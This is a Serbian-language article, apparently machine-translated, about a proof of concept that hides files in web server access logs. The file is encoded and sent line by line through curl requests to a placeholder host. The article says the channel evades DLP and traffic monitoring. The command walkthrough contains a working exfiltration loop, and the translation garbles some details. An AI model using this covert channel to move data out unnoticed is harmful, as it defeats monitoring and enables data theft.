Размена тајних порука преко серверских логова

Према дефиницији Википедије, мртва кап је алат за заверу који служи за размену информација или неких ставки између људи који користе тајну локацију. Идеја је да се људи никада не сретну – али и даље размењују информације како би одржали оперативну безбедност.

Скривање не би требало да привлачи пажњу. Стога, у офлајн свету често користе дискретне ствари: лабаву циглу у зиду, библиотечку књигу или шупљину у дрвету.

На Интернету постоји много алата за шифровање и анонимизацију, али сама чињеница коришћења ових алата привлачи пажњу. Поред тога, могу бити блокирани на корпоративном или владином нивоу. Шта да радим?

Програмер Риан Фловерс је предложио занимљиву опцију - користите било који веб сервер као скровиште. Ако размислите о томе, шта ради веб сервер? Прима захтеве, издаје датотеке и пише дневнике. И евидентира све захтеве, чак и оне нетачне!

Испоставило се да вам било који веб сервер омогућава да сачувате скоро сваку поруку у дневнику. Фловерс се питао како да ово искористи.

Он нуди ову опцију:

  1. Узмите текстуалну датотеку (тајна порука) и израчунајте хеш (мд5сум).
  2. Кодирамо га (гзип+ууенцоде).
  3. Пишемо у дневник користећи намерно нетачан захтев серверу.

Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt

[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh

Да бисте прочитали датотеку, потребно је да извршите ове операције обрнутим редоследом: декодирајте и распакујте датотеку, проверите хеш (хеш се може безбедно пренети преко отворених канала).

Размаци се замењују са =+=тако да у адреси нема размака. Програм, који аутор назива ЦурлиТП, користи басе64 кодирање, попут прилога е-поште. Захтев се прави са кључном речи ?transfer?тако да га прималац лако може пронаћи у евиденцији.

Шта видимо у евиденцији у овом случају?

1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"

Као што је већ поменуто, да бисте примили тајну поруку, потребно је да извршите операције обрнутим редоследом:

Remote machine

[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue

[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g

Процес је лако аутоматизовати. Мд5сум се поклапа, а садржај датотеке потврђује да је све исправно декодирано.

Метода је врло једноставна. „Сврха ове вежбе је само да докаже да се датотеке могу пренети путем невиних малих веб захтева, и да ради на било ком веб серверу са дневним записима обичног текста. У суштини, сваки веб сервер је скровиште!“, пише Фловерс.

Наравно, метода функционише само ако прималац има приступ евиденцији сервера. Али такав приступ пружају, на пример, многи хостери.

Како употребљавати?

Рајан Флоуерс каже да није стручњак за безбедност информација и да неће саставити листу могућих употреба ЦурлиТП-а. За њега је то само доказ концепта да се познати алати које свакодневно виђамо могу користити на неконвенционалан начин.

У ствари, овај метод има низ предности у односу на друге „скривања“ сервера као што су Дигитал Деад Дроп или ПиратеБок: не захтева посебну конфигурацију на страни сервера или било какве посебне протоколе - и неће изазвати сумњу код оних који прате саобраћај. Мало је вероватно да ће СОРМ или ДЛП систем скенирати УРЛ адресе за компримоване текстуалне датотеке.

Ово је један од начина за пренос порука преко сервисних датотека. Можете се сетити како су се пласирале неке напредне компаније Послови програмера у ХТТП заглављима или у коду ХТМЛ страница.

Размена тајних порука преко серверских логова

Идеја је била да само веб програмери виде ово ускршње јаје, пошто нормална особа не би гледала заглавља или ХТМЛ код.

Размена тајних порука преко серверских логова

Извор: ввв.хабр.цом

Додај коментар